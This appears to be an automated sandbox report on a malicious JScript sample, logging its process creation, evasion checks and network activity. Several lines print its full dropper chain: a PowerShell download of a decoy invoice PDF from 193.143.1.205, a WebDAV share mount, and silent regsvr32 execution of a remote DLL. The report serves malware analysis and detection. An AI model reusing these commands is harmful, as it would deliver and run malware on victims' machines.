Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8598.js.csv");ITextStream.WriteLine(" entry:7935 f:lwubusxop");ITextStream.WriteLine(" exec:2 f:lwubusxop");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5660			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4161			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2772	Thread sleep count: 5660 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2772	Thread sleep count: 4161 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2636	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3404	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4472	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4920	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.2722233320.000001C87642A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.1543667499.000001C1D65A8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1555211916.000001C1D660D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1535458435.000001C1D660D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2723780574.000001C87BA5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

